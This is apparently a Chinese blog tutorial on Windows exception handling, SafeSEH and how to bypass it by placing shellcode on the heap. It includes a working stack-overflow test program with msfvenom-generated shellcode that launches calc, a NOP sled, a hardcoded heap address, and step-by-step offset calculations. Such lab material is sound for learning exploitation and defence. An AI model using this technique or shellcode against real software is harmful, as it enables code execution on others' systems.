内存保护机制及绕过方案——从堆中绕过safeSEH

1.1    SafeSEH内存保护机制

1.1.1    Windows异常处理机制

Windows中主要两种异常处理机制,Windows异常处理(VEH、SEH)和C++异常处理。Windows异常处理结构未公开的,包含向量化结构异常VEH及结构化异常处理SEH。由操作系统提供的服务,当一个线程出现错误时,操作系统调用用户定义的一个回调函数_exept_handler。回调函数接收到操作系统传递过来的许多有价值的信息,例如异常的类型和发生的地址。使用这些信息,异常回调函数就能决定下一步做什么。

C++异常处理是C++语言的特性,在Windows平台上由系统提供支持。

Windows异常处理顺序流程

l  终止当前程序的执行

l  调试器(进程必须被调试,向调试器发送EXCEPTION_DEBUG_EVENT消息)

l  执行VEH

l  执行SEH

l  TopLevelEH(进程被调试时不会被执行)

l  执行VEH

l  交给调试器(上面的异常处理都说处理不了,就再次交给调试器)

l  调用异常端口通知csrss.exe

1.1.2    SafeSEH工作原理

异常处理链(SEH)结构在通过SHE链绕过/GS中已经介绍过了,这里接直接说safeSEH了,

i. SafeSEH工作流程:

ii. RtlIsVaildHandler() 函数校验流程:

1.1.3    SafeSEH绕过思路

那么有3种情况,系统可以允许异常处理函数执行:

1、异常处理函数位于加载模块内存范围之外,DEP关闭

2、异常处理函数位于加载模块内存范围之内,相应模块未启用SafeSEH(SafeSEH表为空),不是纯IL(ILonly标识,若有这个标志说明该程序只包含.NET编译人中间语言)。

3、异常处理函数位于加载模块内存范围之内,相应模块启用SafeSEH,异常处理函数地址包含在SafeSEH表中。

可以看到,我们突破SafeSEH的方法分为3种

1、排除DEP干扰,在加载模块内存范围外找一个跳板指令就可以转入shellcode执行

2、利用未启用SafeSEH模块中的指令作为跳板,转入shellcode执行

3、针对情况3,可以有两种思路,一种是清空safeSEH表,造成该模块为启用safeSEH的假象,二是将我们的指令注入到safeSEH表,但是safeSEH在内存中是加密存放的,突破的难度很大。

额外的思路(更简单的思路)?

1、  覆盖返回地址或者虚表(但是,限制条件很大,如果函数启用了/GS保护机制,且没有虚函数,那么,这种方法就不能使用了)。

2、  利用safeSEH的缺陷——若SHE中的异常处理函数指针指向堆区,那么即使安全校验发现SEH已经不可信,仍会钓鱼其已经修改过的异常处理函数,因此只要将shellcode布置到堆区就可以绕过safeSEH保护机制了。

1.1.4    从堆中绕过safeSEH

⑴.  原理分析:

利用safeSEH的缺陷——若SHE中的异常处理函数指针指向堆区,那么即使安全校验发现SEH已经不可信,仍会钓鱼其已经修改过的异常处理函数,因此只要将shellcode布置到堆区就可以绕过safeSEH保护机制了。

⑵.环境准备:

i.测试代码如下:

#include <stdafx.h>

#include <stdlib.h>

#include <string.h>

char shellcode[]=

"\xbe\xe8\x88\x3c\xfd\xd9\xd0\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"

"\x30\x31\x72\x13\x03\x72\x13\x83\xea\x14\x6a\xc9\x01\x0c\xe9"

"\x32\xfa\xcc\x8e\xbb\x1f\xfd\x8e\xd8\x54\xad\x3e\xaa\x39\x41"

"\xb4\xfe\xa9\xd2\xb8\xd6\xde\x53\x76\x01\xd0\x64\x2b\x71\x73"

"\xe6\x36\xa6\x53\xd7\xf8\xbb\x92\x10\xe4\x36\xc6\xc9\x62\xe4"

"\xf7\x7e\x3e\x35\x73\xcc\xae\x3d\x60\x84\xd1\x6c\x37\x9f\x8b"

"\xae\xb9\x4c\xa0\xe6\xa1\x91\x8d\xb1\x5a\x61\x79\x40\x8b\xb8"

"\x82\xef\xf2\x75\x71\xf1\x33\xb1\x6a\x84\x4d\xc2\x17\x9f\x89"

"\xb9\xc3\x2a\x0a\x19\x87\x8d\xf6\x98\x44\x4b\x7c\x96\x21\x1f"

"\xda\xba\xb4\xcc\x50\xc6\x3d\xf3\xb6\x4f\x05\xd0\x12\x14\xdd"

"\x79\x02\xf0\xb0\x86\x54\x5b\x6c\x23\x1e\x71\x79\x5e\x7d\x1f"

"\x7c\xec\xfb\x6d\x7e\xee\x03\xc1\x17\xdf\x88\x8e\x60\xe0\x5a"

"\xeb\x9f\xaa\xc7\x5d\x08\x73\x92\xdc\x55\x84\x48\x22\x60\x07"

"\x79\xda\x97\x17\x08\xdf\xdc\x9f\xe0\xad\x4d\x4a\x07\x02\x6d"

"\x5f\x64\xc5\xfd\x03\x6b"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x38\x2C\x56\x00"//address of shellcode in heap

;

void test(char * input)

{

char str[200];

strcpy(str,input);

int zero=0;

zero=1/zero;

}

void main(){

char * buf=(char *)malloc(500);

//__asm int 3

strcpy(buf,shellcode);

test(shellcode);

}

将shellcode复制到堆区,在溢出后,用shellcode在堆区的地址溢出到异常处理函数,在test函数中引发除零异常。异常处理函数接管程序,即,shellcode在此时接管程序。

ii.编译属性设置:

关闭DEP,ASLR保护机制,/GS保护机制没有影响。

iii.测试系统和编译器:

测试系统:Windows 7 32位

编译器:  Visual studio 2008

⑶.调试分析:

在main函数中,堆指针为[ebp-0x4],shellcode的指针为[ebp-0x8],而ebp = 0x0012ff44。

所以堆指针的地址 = 0x0012ff40,shellcode的指针 = 0x0012ff3c。

查看堆栈:

看到shellcode地址 = 0x00403018,堆的起始地址 = 0x005812e8

执行到test函数:

Shellcode参数入栈,0x0012ff2c。

Eip:0x0012ff28,ebp:0x0012ff24,cookie^ebp:0x0012ff1c,并通过对strcpy函数的分析发现,0x0012ff54是缓冲区开始的地址。

⑷.攻击过程:

i.确定shellcode大小:

攻击思路是:将异常处理函数的指针换成在堆中的shellcode的指针,那么要确定shellcode的大小就要知道异常处理函数的指针在栈中的地址和缓冲区开始的地址,从缓冲区开始,已知覆盖到异常处理函数的指针。

查看SEH链:

SEH链指针在0x0012FF78,那么异常处理函数指针位于0x0012ff7c,又由(3)知缓冲区的起始地址是0x0012fe54。

所以缓冲区大小 = 0x0012ff78 – 0x0012fe54 + 0x4(指针大小) = 300(字节)。

ii.生成恶意代码(弹出计算器):

这里的恶意代码可以用msfconsole生成:

msfvenom -p windows/exec cmd=calc -b ‘\x00‘ -f c

生成长度为216字节的恶意代码。

iii.设计shellcode:

由i的分析可知,shellcode的结构应如下所示:

iv.实施攻击:

程序运行到test函数中的strcpy函数运行结束,

可以看到异常处理函数的指针已经被换成了我们的分配的堆的起始地址,

分配的堆中也已经复制到了shellcode。

接着运行程序,应该就能直接弹出计算器来吧?

???失败?

为什么?

因为,堆在内存中是动态分配的,每次运行,系统分配的堆地址都是不同的,所以,应当在程序运行到分配堆之后,将shellcode中的堆地址,改成此次运行系统所分配的堆的地址,如下图所示:

之后运行程序:

成功弹框。

原文地址:https://www.cnblogs.com/zhang293/p/8996064.html

时间: 2024-10-10 03:29:59

内存保护机制及绕过方案——从堆中绕过safeSEH的相关文章

内存保护机制及绕过方案——利用未启用SafeSEH模块绕过SafeSEH

前言:之前关于safeSEH保护机制的原理等信息,可在之前的博文(内存保护机制及绕过方案中查看). 利用未启用SafeSEH模块绕过SafeSEH ⑴.  原理分析: 一个不是仅包含中间语言(1L)且未启用SafeSEH的模块中的异常处理,如果异常处理链在栈上,异常处理函数指针不在栈上,那么这个异常处理就可以被执行. 所以,我们能找到一个未启用SafeSEH的模块,就可以利用它里面的指令作为跳板来绕过SafeSEH. ⑵.环境准备: i.实验代码: 生成exe文件的代码: #include "s

/MT、/MD编译选项,以及可能引起在不同堆中申请、释放内存的问题

一.MD(d).MT(d)编译选项的区别 1.编译选项的位置 以VS2005为例,这样子打开: 1)         打开项目的Property Pages对话框 2)         点击左侧C/C++节 3)         点击Code Generation节 4)         右侧第六行Runtime Library项目 2.各个设置选项代表的含义 编译选项 包含 静态链接的lib 说明 /MD _MT._DLL MSVCRT.lib 多线程.Release.DLL版本的运行时库 /

共享库方案解决WAS中JAR包冲突

(一)证书导入解决方案 1.登录管理控制台. 2. 展开"安全性"并单击"SSL 证书和密钥管理".在"配置设置"下面,单击"管理端点安全配置". 3. 为 (cell):server5Cell01 管理作用域选择适当的出站配置. 4. 在"相关项目"下面,单击"密钥库和证书",然后单击 CellDefaultTrustStore 密钥库. 5.  在"其他属性"下面

java多线程的等待唤醒机制及如何解决同步过程中的安全问题

/* class Person{ String name; String sex; boolean flag = true; public void setPerson(String name, String sex){ this.sex=sex; this.name=name; } } class Input implements Runnable{ int x=0; Person p; Input(Person p){ this.p=p; } public void run(){ while

Java解析OFFICE(word,excel,powerpoint)以及PDF的实现方案及开发中的点滴分享

Java解析OFFICE(word,excel,powerpoint)以及PDF的实现方案及开发中的点滴分享 在此,先分享下写此文前的经历与感受,我所有的感觉浓缩到一个字,那就是:"坑",如果是两个字那就是"巨坑"=>因为这个需求一开始并不是这样子的,且听我漫漫道来: 一开始客户与我们商量的是将office和PDF上传,将此类文件解析成html格式,在APP端调用内置server直接以html"播放" 经历一个月~,两个月~,三个月~~~

SQL0973N在 &quot;&lt;堆名&gt;&quot; 堆中没有足够的存储器可用来处理语句

SQL0973N在 "<堆名>" 堆中没有足够的存储器可用来处理语句. 解释: 已使用此堆的所有可用内存.不能处理该语句. 用户响应: 接收到此消息(SQLCODE)后就终止应用程序.修改 "<堆名称>"配置参数以增大堆大小. 例如,要更新数据库配置参数,发出如下命令: db2 update db cfg  for "<db-name>"  using "<heap-name>"

堆中的变量、对象的使用

堆~变量: C++中创建动态指针: int *p; //定义整型指针变量p p = new int; //new创建一个int类型的内存区域,然后将该区域的内存地址赋给指针变量p,p占用4个字节(int型嘛) 或者  int *p = new int; 释放:delete p; //将动态内存释放,但是p指针变量还在,并且还指向原来的位置,在又重新创建同一类型的(不同类型的也有可能)堆空间时,p默认还会指向新建的堆,这样会造成两个指针同时指向同一段地址,所以需将p指向空指针(空指针的不当使用可能

db2堆中没有足够的存储器可用来处理语句的解决

查看DB2 该数据库参数 命令: db2 get db cfg for databasename 修改 "APP_CTL_HEAP_SZ" 值, 命令:db2 update db cfg for databasename using  APP_CTL_HEAP_SZ 1000 关于db2中sql文过长,过复杂的解决办法,可以使用如下语句,调整sql文最大长度: db2 update db cfg for databasename using stmtheap 20480 重新启动DB2

C++对象指针数组与堆中对象数组

#include <IOSTREAM> using namespace std; /*堆中对象数组.对象指针数组*/ class stu { public: void set(int x){i = x + 6;} int get(){return i*i;}; private: int i; }; void main() { const int n = 1000; stu * p = new stu[n];//在堆中定义了一个对象数组,并将其首地址传送给对象指针p. int i; stu *